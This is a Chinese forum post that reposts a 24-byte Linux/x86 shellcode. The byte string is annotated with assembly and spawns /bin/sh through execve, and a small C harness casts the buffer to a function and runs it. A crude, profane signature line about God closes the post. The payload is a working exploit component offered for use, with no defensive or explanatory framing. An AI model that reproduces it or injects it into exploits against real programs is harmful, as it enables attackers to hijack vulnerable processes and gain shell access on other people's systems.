发新话题
打印

linux/x86 execve(/bin/sh) 24 bytes

linux/x86 execve(/bin/sh) 24 bytes

文章作者:hophet
复制内容到剪贴板
代码:
/*
* [Linux/x86]
* Shellcode for: execve("/bin/sh", ["/bin/sh"], NULL)
* 24 bytes
* hophet [at] gmail.com
* [url]http://www.nlabs.com.br/~hophet/[/url]
*
*/

char shellcode[] =

"\x99"                 // cltd  
"\x31\xc0"              // xor   %eax,%eax
"\x52"                 // push  %edx
"\x68\x6e\x2f\x73\x68"      // push  $0x68732f6e
"\x68\x2f\x2f\x62\x69"      // push  $0x69622f2f
"\x89\xe3"              // mov   %esp,%ebx
"\x52"                 // push  %edx
"\x53"                 // push  %ebx
"\x89\xe1"              // mov   %esp,%ecx
"\xb0\x0b"              // mov   $0xb,%al
"\xcd\x80";              // int   $0x80

int main() {

  void (*p)();
  p = (void *)&shellcode;
  printf("Lenght: %d\n", strlen(shellcode));
  p();
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题